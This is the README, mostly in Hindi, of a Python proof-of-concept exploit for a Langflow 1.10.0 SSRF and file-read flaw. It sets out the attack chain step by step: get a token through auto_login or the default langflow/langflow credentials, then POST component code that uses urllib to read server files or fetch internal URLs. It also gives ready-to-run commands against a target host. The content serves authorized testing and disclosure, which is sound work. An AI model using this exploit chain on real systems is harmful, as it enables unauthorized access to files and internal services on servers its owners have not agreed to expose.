
CVE-2026-12944 के लिए Python PoC, जो Langflow 1.10.0 का urllib SSRF और file-read vulnerability है। यह versions की fingerprinting करता है और custom_component endpoint का exploit करता है।
Langflow 1.10.0 urllib SSRF
Langflow OSS ≤ 1.10.0 — urllib.request / socket के माध्यम से कस्टम-कंपोनेंट कोड निष्पादन। कंपोनेंट स्कैनर की डिनाइलिस्ट में वे stdlib मॉड्यूल छूट गए थे। IBM ने इसे 1.10.1 में ठीक किया।
IBM इसे PR:L स्कोर देता है। exec सिंक POST /api/v1/custom_component है और उस कॉल के लिए सत्र कुकी / बियरर टोकन आवश्यक है। यह PoC इसे कैसे प्राप्त करता है:
--test प्रमाणित नहीं करता। यह केवल GET /api/v1/version (साथ ही कनेक्टिविटी के लिए GET /) करता है।--read / --fetch पहले प्रमाणित करते हैं, फिर कंपोनेंट POST करते हैं।LANGFLOW_AUTO_LOGIN होता है। स्क्रिप्ट करती है और, यदि JSON में है, तो भेजती है। कोई उपयोगकर्ता नाम या पासवर्ड नहीं।GET /api/v1/auto_loginaccess_tokenAuthorization: Bearer …--uname / --password के साथ POST /api/v1/login को application/x-www-form-urlencoded (username, password) के रूप में भेजती है। स्टॉक डिफ़ॉल्ट langflow / langflow हैं।POST /api/v1/custom_component को {"code": …} के साथ भेजती है जो urllib.request.urlopen(...) को कॉल करता है।--uname / --password केवल चरण 4 के लिए हैं। डिफ़ॉल्ट इंस्टॉल पर ये अप्रयुक्त रहते हैं।
केवल अधिकृत परीक्षण के लिए। इसे उन सिस्टमों के विरुद्ध न चलाएँ जिनके आप स्वामी नहीं हैं या जिनका परीक्षण करने की अनुमति आपके पास नहीं है।
आवश्यक: Python 3, केवल मानक लाइब्रेरी।
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --test
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --read /etc/hostname
python3 cve-2026-12944-langflow-urllib-ssrf.py -u http://TARGET --fetch http://127.0.0.1:7860/api/v1/version
python3 cve-2026-12944-langflow-urllib-ssrf.py -u https://TARGET --read /etc/hostname --insecure
python3 cve-2026-12944-langflow-urllib-ssrf.py -u TARGET --uname langflow --password langflow --read /etc/hostname
| फ़्लैग | यह क्या करता है |
|---|---|
-u / --url | Langflow बेस URL (आवश्यक)। http:// या https://। बिना स्कीम वाला होस्टनाम पहले HTTPS के रूप में, फिर HTTP के रूप में आज़माया जाता है। http→https रीडायरेक्ट POST को बनाए रखते हैं। खराब TLS सर्टिफ़िकेट बिना सत्यापन के पुनः प्रयास किए जाते हैं; --insecure शुरू से ही सत्यापन छोड़ देता है |
--test | केवल फ़िंगरप्रिंट: GET /api/v1/version (सार्वजनिक)। कोई लॉगिन नहीं, कोई custom_component नहीं |
--read PATH | गैजेट चलाएँ: PATH का urllib.request file:// रीड (सर्वर पर निष्पादित होता है) |
--fetch URL | SSRF: urllib.request.urlopen(URL) और बॉडी प्रिंट करें |
--uname / --password | केवल यदि AUTO_LOGIN बंद है (स्टॉक डिफ़ॉल्ट: langflow / langflow) |
--insecure | TLS सत्यापन छोड़ें |
--timeout | HTTP टाइमआउट सेकंड (डिफ़ॉल्ट 30) |
--test एंडपॉइंट: GET /api/v1/version। "version" / "main_version" के साथ 200 VERSION प्रिंट करता है, फिर यदि वह स्ट्रिंग 1.0.0–1.10.0 है तो IN_WINDOW, फिर PRESENT। यह कभी /api/v1/auto_login या /api/v1/custom_component को हिट नहीं करता।
--read / --fetch GET /api/v1/auto_login (या POST /api/v1/login) को हिट करते हैं, फिर POST /api/v1/custom_component को।
Stdout: VERSION, IN_WINDOW, OUT_OF_WINDOW, PRESENT, VULNERABLE, NEED_AUTH, NOT_FOUND, NOT_VULNERABLE, READ.

CVE: CVE-2026-12944। IBM बुलेटिन; 1.10.1 में अपग्रेड करें।